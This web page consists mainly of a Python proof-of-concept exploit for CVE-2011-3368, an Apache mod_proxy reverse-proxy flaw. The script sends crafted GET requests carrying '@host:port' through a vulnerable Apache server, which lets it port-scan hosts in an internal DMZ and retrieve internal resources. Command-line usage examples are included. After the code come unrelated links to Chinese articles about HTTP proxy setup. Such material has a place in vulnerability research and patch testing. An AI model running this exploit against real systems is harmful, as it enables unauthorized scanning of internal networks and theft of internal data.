Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability

简介: #!/usr/bin/env pythonimport socketimport stringimport getopt, sysknown_ports = [0,21,22,...
#!/usr/bin/env python

import socket
import string
import getopt, sys


known_ports = [0,21,22,23,25,53,69,80,110,137,139,443,445,3306,3389,5432,5900,8080]

def send_request(url, apache_target, apache_port, internal_target, internal_port, resource):

	get = "GET " + url + "@" + internal_target + ":" + internal_port +  "/" + resource + " HTTP/1.1\r\n"
	get = get + "Host: " + apache_target + "\r\n\r\n"
	
	remoteserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	remoteserver.settimeout(3)

	try:
		remoteserver.connect((apache_target, int(apache_port)))
		remoteserver.send(get)
		return remoteserver.recv(4096)
	except:
		return ""

def get_banner(result):
	return result[string.find(result, "\r\n\r\n")+4:]


def scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource):

	print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource)
	for port in tested_ports:
		port = str(port)
		result = send_request(url, apache_target, apache_port, internal_target, port, resource)
		if string.find(result,"HTTP/1.1 200")!=-1 or \
		string.find(result,"HTTP/1.1 30")!=-1 or \
		string.find(result,"HTTP/1.1 502")!=-1:
			print "- Open port: " + port + "/TCP"
			print get_banner(result)
		elif len(result)==0:
	 		print "- Filtered port: " + port + "/TCP"
		else:
	 		print "- Closed port: " + port + "/TCP"
			

def usage():
	print
	print "CVE-2011-3368 proof of concept by Rodrigo Marcos"
	print "http://www.secforce.co.uk"
	print
	print "usage():"
	print "python apache_scan.py [options]"
	print
	print " [options]"
	print "		-r: Remote Apache host"
	print "		-p: Remote Apache port (default is 80)"
	print "		-u: URL on the remote web server (default is /)"
	print "		-d: Host in the DMZ (default is 127.0.0.1)"
	print "		-e: Port in the DMZ (enables 'single port scan')"
	print "		-g: GET request to the host in the DMZ (default is /)"
	print "		-h: Help page"
	print
	print "examples:"
	print " - Port scan of the remote host"
	print "		python apache_scan.py -r www.example.com -u /images/test.gif"
	print " - Port scan of a host in the DMZ"
	print "		python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local"
	print " - Retrieve a resource from a host in the DMZ"
	print "		python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local -e 80 -g /accounts/index.html"
	print

def print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource):
	print
	print "CVE-2011-3368 proof of concept by Rodrigo Marcos"
	print "http://www.secforce.co.uk"
	print
	print " [+] Target: " + apache_target
	print " [+] Target port: " + apache_port
	print " [+] Internal host: " + internal_target
	print " [+] Tested ports: " + str(tested_ports)
	print " [+] Internal resource: " + resource
	print


def main():

	global apache_target
	global apache_port
	global url
	global internal_target
	global internal_port
	global resource

	try:
		opts, args = getopt.getopt(sys.argv[1:], "u:r:p:d:e:g:h", ["help"])
	except getopt.GetoptError:
		usage()
		sys.exit(2)

	try:
		for o, a in opts:
			if o in ("-h", "--help"):
				usage()
				sys.exit(2)
			if o == "-u":
				url=a
			if o == "-r":
				apache_target=a
			if o == "-p":
				apache_port=a
			if o == "-d":
				internal_target = a
			if o == "-e":
				internal_port=a
			if o == "-g":
				resource=a				
		
	except getopt.GetoptError:
		usage()
		sys.exit(2)
		
	if apache_target == "":
		usage()
		sys.exit(2)


url = "/"
apache_target = ""
apache_port = "80"
internal_target = "127.0.0.1"
internal_port = ""
resource = "/"

main()

if internal_port!="":
	tested_ports = [internal_port]
else:
	tested_ports = known_ports

scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource)



 

目录
相关文章
|
4月前
|
数据采集 缓存 安全
http proxy 协议的工作原理与常见用途
在这篇博客文章中,我们将深入探讨HTTP代理协议的工作原理,揭示它如何在客户端和服务器之间传递HTTP请求和响应,并讨论它在各种应用场景中的常见用途。
http proxy 协议的工作原理与常见用途
|
6月前
|
负载均衡 Ubuntu 应用服务中间件
Apache(mod_proxy)+Tomcat负载均衡配置
Apache(mod_proxy)+Tomcat负载均衡配置
|
缓存 监控 负载均衡
http代理(proxy)配置都有哪些方法?
今天我将和大家探讨关于HTTP proxy配置的不同方法。在网络通信中,HTTP proxy配置(或称为IP代理)起着重要的作用,它允许我们在客户端和服务器之间建立中间代理,从而实现匿名性、访问控制和性能优化等目的。
|
IDE 开发工具 Android开发
Gradle升级,Error:Connection timed out: connect. If you are behind an HTTP proxy, please configure
Gradle升级,Error:Connection timed out: connect. If you are behind an HTTP proxy, please configure
4324 0
Gradle升级,Error:Connection timed out: connect. If you are behind an HTTP proxy, please configure
|
安全 大数据 定位技术
如何利用http代理配合阿里云服务器将http proxy配置到电脑全局使用?
在网络环境中,有时我们需要在整个电脑系统中使用HTTP代理,以便更好地保护隐私、实现访问控制或访问特定的网络资源。
|
数据采集 安全 测试技术
如何http代理(proxy)配置到指纹浏览器使用?
今天我将和大家分享如何将HTTP代理(或称为代理服务器)配置到指纹浏览器中使用。在网络上进行浏览和访问时,我们经常需要保护隐私和实现身份匿名化。
|
API
Proxy error: Could not proxy request xxx from localhost:8080 to http://localhost:3000(ECONNREFUSED)
Proxy error: Could not proxy request xxx from localhost:8080 to http://localhost:3000(ECONNREFUSED)
1946 0
Proxy error: Could not proxy request xxx from localhost:8080 to http://localhost:3000(ECONNREFUSED)
|
运维 PHP
php curl Received HTTP code 403 from proxy after CONNECT
php curl Received HTTP code 403 from proxy after CONNECT
1078 0
HarmonyOS初探03——DevEco Studio创建应用问题ERROR Unable to tunnel through proxy. Proxy returns HTTP1.1 403
解决问题:DevEco Studio创建应用问题ERROR Unable to tunnel through proxy. Proxy returns HTTP1.1 403
495 0

推荐镜像

更多
下一篇
无影云桌面